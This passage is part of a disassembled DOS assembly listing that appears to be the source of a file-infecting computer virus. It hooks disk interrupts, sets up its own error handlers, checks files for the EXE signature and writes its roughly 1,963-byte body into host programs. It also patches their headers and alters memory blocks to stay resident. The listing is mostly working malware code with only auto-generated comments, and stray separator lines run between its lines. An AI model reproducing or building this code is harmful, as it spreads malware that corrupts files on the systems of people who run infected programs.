|
||
mov word ptr data_22+2,es ; (8344:08B5=8344h)
|
||
mov ah,25h ; '%'
|
||
lds dx,data_21 ; (8344:08AF=0) Load 32 bit ptr
|
||
int 21h ; DOS Services ah=function 25h
|
||
; set intrpt vector al to ds:dx
|
||
mov al,40h ; '@'
|
||
;* mov dx,offset loc_85 ;*
|
||
db 0BAh, 59h,0ECh
|
||
mov bx,0F000h
|
||
mov ds,bx
|
||
int 21h ; DOS Services ah=function 25h
|
||
; set intrpt vector al to ds:dx
|
||
pop es
|
||
pop ds
|
||
pop bx
|
||
xor cx,cx ; Zero register
|
||
xor dx,dx ; Zero register
|
||
call sub_21 ; (0870)
|
||
mov cx,7ABh
|
||
mov si,904h
|
||
call sub_7 ; (0758)
|
||
jnz loc_66 ; Jump if not zero
|
||
add cx,6
|
||
mov ax,data_46 ; (8344:08F0=0)
|
||
mov ds:data_54e,ax ; (8344:10AF=0)
|
||
mov ax,data_48 ; (8344:08FE=0)
|
||
mov ds:data_55e,ax ; (8344:10B1=0)
|
||
mov ax,ds:data_49e ; (8344:0900=0)
|
||
mov ds:data_56e,ax ; (8344:10B3=0)
|
||
loc_66:
|
||
push si
|
||
call sub_10 ; (0778)
|
||
mov [si],dx
|
||
pop dx
|
||
inc cx
|
||
inc cx
|
||
call sub_9 ; (076E)
|
||
jc loc_68 ; Jump if carry Set
|
||
pop dx
|
||
pop cx
|
||
call sub_20 ; (086B)
|
||
mov dx,100h
|
||
mov cx,7ABh
|
||
call sub_9 ; (076E)
|
||
jc loc_69 ; Jump if carry Set
|
||
call sub_7 ; (0758)
|
||
jnz loc_67 ; Jump if not zero
|
||
xor cx,cx ; Zero register
|
||
mov data_46,cx ; (8344:08F0=0)
|
||
mov data_48,dx ; (8344:08FE=0)
|
||
mov word ptr ds:data_49e,0FFF0h ; (8344:0900=0)
|
||
xor dx,dx ; Zero register
|
||
call sub_20 ; (086B)
|
||
mov dx,8EAh
|
||
mov cx,1Ah
|
||
call sub_9 ; (076E)
|
||
jc loc_69 ; Jump if carry Set
|
||
loc_67:
|
||
cmp al,al
|
||
jmp short loc_70 ; (073C)
|
||
loc_68:
|
||
mov al,1
|
||
cmp al,0
|
||
jmp short loc_70 ; (073C)
|
||
loc_69:
|
||
stc ; Set carry flag
|
||
loc_70:
|
||
pushf ; Push flags
|
||
mov ah,0Dh
|
||
int 21h ; DOS Services ah=function 0Dh
|
||
; flush disk buffers to disk
|
||
push ds
|
||
mov ax,2513h
|
||
lds dx,dword ptr data_22 ; (8344:08B3=0) Load 32 bit ptr
|
||
int 21h ; DOS Services ah=function 25h
|
||
; set intrpt vector al to ds:dx
|
||
mov al,40h ; '@'
|
||
lds dx,dword ptr cs:data_30 ; (8344:08C3=0) Load 32 bit ptr
|
||
int 21h ; DOS Services ah=function 25h
|
||
; set intrpt vector al to ds:dx
|
||
pop ds
|
||
jmp loc_64 ; (0662)
|
||
sub_5 endp
|
||
|
||
|
||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
; SUBROUTINE
|
||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||
|
||
sub_7 proc near
|
||
mov ax,data_45 ; (8344:08EA=0)
|
||
cmp ax,5A4Dh
|
||
je loc_ret_71 ; Jump if equal
|
||
cmp ax,4D5Ah
|
||
|
||
loc_ret_71:
|
||
retn
|
||
sub_7 endp
|
||
|
||
|
||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
; SUBROUTINE
|
||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||
|
||
sub_8 proc near
|
||
mov ah,3Fh ; '?'
|
||
call sub_23 ; (0879)
|
||
jc loc_ret_72 ; Jump if carry Set
|
||
cmp ax,cx
|
||
|
||
loc_ret_72:
|
||
retn
|
||
sub_8 endp
|
||
|
||
|
||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
; SUBROUTINE
|
||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||
|
||
sub_9 proc near
|
||
mov ah,40h ; '@'
|
||
call sub_23 ; (0879)
|
||
jc loc_ret_73 ; Jump if carry Set
|
||
cmp ax,cx
|
||
|
||
loc_ret_73:
|
||
retn
|
||
sub_9 endp
|
||
|
||
|
||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
; SUBROUTINE
|
||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||
|
||
sub_10 proc near
|
||
push cx
|
||
xor dx,dx ; Zero register
|
||
|
||
locloop_74:
|
||
lodsb ; String [si] to al
|
||
add dl,al
|
||
adc dh,0
|
||
loop locloop_74 ; Loop if cx > 0
|
||
|
||
pop cx
|
||
retn
|
||
sub_10 endp
|
||
|
||
|
||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
; SUBROUTINE
|
||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||
|
||
sub_11 proc near
|
||
push cs
|
||
pop ds
|
||
mov si,904h
|
||
mov bx,ax
|
||
mov cx,7ABh
|
||
call sub_7 ; (0758)
|
||
jnz loc_75 ; Jump if not zero
|
||
mov ax,data_47 ; (8344:08F2=0)
|
||
mov dx,10h
|
||
mul dx ; dx:ax = reg * ax
|
||
push bx
|
||
push di
|
||
call sub_12 ; (07BF)
|
||
pop di
|
||
pop bx
|
||
mov si,offset data_45 ; (8344:08EA=0)
|
||
mov cx,1Ah
|
||
mov ax,ds:data_54e ; (8344:10AF=0)
|
||
mov data_46,ax ; (8344:08F0=0)
|
||
mov ax,ds:data_55e ; (8344:10B1=0)
|
||
mov data_48,ax ; (8344:08FE=0)
|
||
mov ax,ds:data_56e ; (8344:10B3=0)
|
||
mov ds:data_49e,ax ; (8344:0900=0)
|
||
loc_75:
|
||
xor ax,ax ; Zero register
|
||
xor dx,dx ; Zero register
|
||
|
||
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
|
||
sub_12:
|
||
sub ax,data_37 ; (8344:08D0=0)
|
||
sbb dx,data_38 ; (8344:08D2=0)
|
||
jc loc_76 ; Jump if carry Set
|
||
jnz loc_ret_79 ; Jump if not zero
|
||
sub bx,ax
|
||
jbe loc_ret_79 ; Jump if below or =
|
||
add di,ax
|
||
jmp short loc_77 ; (07E2)
|
||
loc_76:
|
||
neg ax
|
||
adc dx,0
|
||
neg dx
|
||
jnz loc_ret_79 ; Jump if not zero
|
||
sub cx,ax
|
||
jbe loc_ret_79 ; Jump if below or =
|
||
add si,ax
|
||
loc_77:
|
||
cmp cx,bx
|
||
jbe loc_78 ; Jump if below or =
|
||
mov cx,bx
|
||
loc_78:
|
||
cld ; Clear direction
|
||
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
|
||
|
||
loc_ret_79:
|
||
retn
|
||
sub_11 endp
|
||
|
||
|
||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
; SUBROUTINE
|
||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||
|
||
sub_13 proc near
|
||
pushf ; Push flags
|
||
call sub_24 ; (0884)
|
||
mov ah,49h ; 'I'
|
||
push ds
|
||
pop es
|
||
int 21h ; DOS Services ah=function 49h
|
||
; release memory block, es=seg
|
||
mov ah,49h ; 'I'
|
||
mov es,ds:data_8e ; (0046:002C=50h)
|
||
int 21h ; DOS Services ah=function 49h
|
||
; release memory block, es=seg
|
||
mov ah,50h ; 'P'
|
||
mov bx,ds:data_7e ; (0046:0016=0)
|
||
int 21h ; DOS Services ah=function 50h
|
||
; set active PSP segmnt from bx
|
||
mov ax,2522h
|
||
lds dx,dword ptr ds:data_6e ; (0046:000A=0) Load 32 bit ptr
|
||
int 21h ; DOS Services ah=function 25h
|
||
; set intrpt vector al to ds:dx
|
||
call sub_25 ; (0896)
|
||
popf ; Pop flags
|
||
retn
|
||
sub_13 endp
|
||
|
||
|
||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
; SUBROUTINE
|
||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||
|
||
sub_14 proc near
|
||
mov si,dx
|
||
cmp byte ptr [si],0FFh
|
||
jne loc_ret_80 ; Jump if not equal
|
||
add si,7
|
||
|
||
loc_ret_80:
|
||
retn
|
||
sub_14 endp
|
||
|
||
|
||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
; SUBROUTINE
|
||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||
|
||
sub_15 proc near
|
||
call sub_24 ; (0884)
|
||
call sub_14 ; (0814)
|
||
push cs
|
||
pop es
|
||
mov dx,904h
|
||
mov di,dx
|
||
cld ; Clear direction
|
||
lodsb ; String [si] to al
|
||
or al,al ; Zero ?
|
||
jz loc_81 ; Jump if zero
|
||
add al,40h ; '@'
|
||
mov ah,3Ah ; ':'
|
||
stosw ; Store ax to es:[di]
|
||
loc_81:
|
||
movsw ; Mov [si] to es:[di]
|
||
movsw ; Mov [si] to es:[di]
|
||
movsw ; Mov [si] to es:[di]
|
||
movsw ; Mov [si] to es:[di]
|
||
mov al,2Eh ; '.'
|
||
stosb ; Store al to es:[di]
|
||
movsw ; Mov [si] to es:[di]
|
||
movsb ; Mov [si] to es:[di]
|
||
xor al,al ; Zero register
|
||
stosb ; Store al to es:[di]
|
||
push es
|
||
pop ds
|
||
call sub_3 ; (0519)
|
||
call sub_25 ; (0896)
|
||
retn
|
||
sub_15 endp
|
||
|
||
|
||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
; SUBROUTINE
|
||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||
|
||
sub_16 proc near
|
||
push ax
|
||
mov ax,cs
|
||
jmp short loc_82 ; (0854)
|
||
|
||
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
|
||
sub_17:
|
||
push ax
|
||
xor ax,ax ; Zero register
|
||
loc_82:
|
||
push bx
|
||
push ds
|
||
mov bx,cs
|
||
dec bx
|
||
mov ds,bx
|
||
mov ds:data_16e,ax ; (8343:0001=0FFFFh)
|
||
pop ds
|
||
pop bx
|
||
pop ax
|
||
retn
|
||
sub_16 endp
|
||
|
||
|
||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
; SUBROUTINE
|
||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||
|
||
sub_18 proc near
|
||
mov ax,3D00h
|
||
jmp short loc_83 ; (0879)
|
||
|
||
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
|
||
sub_19:
|
||
mov ah,3Eh ; '>'
|
||
jmp short loc_83 ; (0879)
|
||
|
||
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
|
||
sub_20:
|
||
mov ax,4200h
|
||
jmp short loc_83 ; (0879)
|
||
|
||
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
|
||
sub_21:
|
||
mov ax,4202h
|
||
jmp short loc_83 ; (0879)
|
||
|
||
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
|
||
sub_22:
|
||
push word ptr [bp+6]
|
||
popf ; Pop flags
|
||
|
||
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
|
||
sub_23:
|
||
loc_83:
|
||
pushf ; Push flags
|
||
cli ; Disable interrupts
|
||
call dword ptr cs:data_20 ; (8344:08AB=0)
|
||
retn
|
||
sub_18 endp
|
||
|
||
|
||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||
;
|
||
; External Entry Point
|
||
;
|
||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||
|
||
int_24h_entry proc far
|
||
mov al,3
|
||
int_24h_entry endp
|
||
|
||
|
||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||
;
|
||
; External Entry Point
|
||
;
|
||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||
|
||
int_23h_entry proc far
|
||
iret ; Interrupt return
|
||
int_23h_entry endp
|
||
|
||
|
||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
; SUBROUTINE
|
||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||
|
||
sub_24 proc near
|
||
pop cs:data_32 ; (8344:08C7=0)
|
||
push ds
|
||
push dx
|
||
push es
|
||
push bx
|
||
push ax
|
||
push cx
|
||
push si
|
||
push di
|
||
push bp
|
||
mov bp,sp
|
||
jmp short loc_84 ; (08A6)
|
||
|
||
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
|
||
sub_25:
|
||
pop cs:data_32 ; (8344:08C7=0)
|
||
mov sp,bp
|
||
pop bp
|
||
pop di
|
||
pop si
|
||
pop cx
|
||
pop ax
|
||
pop bx
|
||
pop es
|
||
pop dx
|
||
pop ds
|
||
loc_84:
|
||
jmp word ptr cs:data_32 ; (8344:08C7=0)
|
||
data_20 dd 00000h
|
||
data_21 dd 00000h
|
||
data_22 dw 0, 8344h
|
||
data_24 dw 0, 8344h
|
||
data_26 dw 0, 8344h
|
||
data_28 dw 0, 8344h
|
||
data_30 dw 0, 8344h
|
||
data_32 dw 0
|
||
data_33 db 0
|
||
data_34 dw 0
|
||
data_35 dw 0
|
||
data_36 dw 0
|
||
data_37 dw 0
|
||
data_38 dw 0
|
||
data_39 dw 0
|
||
db 12 dup (0)
|
||
data_41 dw 0
|
||
data_42 dw 0
|
||
data_43 dd 00000h
|
||
data_45 dw 0
|
||
db 0, 0, 0, 0
|
||
data_46 dw 0
|
||
data_47 dw 0
|
||
db 10 dup (0)
|
||
data_48 dw 0
|
||
sub_24 endp
|
||
|
||
|
||
seg_a ends
|
||
|
||
|
||
|
||
end start
|
||
|